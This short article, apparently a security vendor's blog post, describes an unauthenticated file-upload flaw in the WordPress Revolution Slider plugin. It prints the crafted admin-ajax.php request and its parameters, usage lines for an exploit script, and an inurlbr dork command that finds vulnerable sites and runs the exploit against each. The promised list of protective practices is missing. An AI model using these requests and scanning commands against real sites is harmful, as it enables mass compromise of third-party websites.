In the realm of WordPress security, vulnerabilities in plugins can lead to significant risks for website owners. One such vulnerability is found in the popular Revolution Slider plugin, which can allow for unauthorized file uploads. This article will delve into the details of this exploit, how it works, and what can be done to protect your WordPress site.
The Revolution Slider plugin has been known to contain an exploit that allows for unrestricted file uploads to the server. This flaw occurs in affected versions due to inadequate checks on user permissions when handling file uploads via AJAX requests.
The exploit takes advantage of the admin-ajax.php endpoint, allowing an attacker to upload malicious files by directly invoking specific AJAX actions without proper authentication. The key action in this scenario is revslider_ajax_action.
To facilitate the exploit, a specific request can be crafted as follows:
array("action" => "revslider_ajax_action","client_action" => "update_captions_css", "data" => _YOU_HTML_);
The payload is typically sent as a POST request to:
http://{target}/wp-admin/admin-ajax.php
To modify it for exploit purposes, the endpoint becomes:
http://{target}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
To execute the exploit, certain command parameters can be utilized:
-t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php exploit.php -t target php exploit.php -f targets php exploit.php -t target -p 'http://localhost:9090'
A tool called InurlBR can assist in identifying vulnerable targets efficiently. The following command is an example:
./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt -q 1,6 --command-all 'php inurl_revslider.php -t _TARGET_'
To protect against this exploit, follow these best practices:
The vulnerability in the Revolution Slider plugin serves as a reminder of the importance of maintaining secure WordPress setups. Understanding the exploit and implementing preventive measures will help protect your website from potential attacks.
Register for BitNinja to enhance your website security.




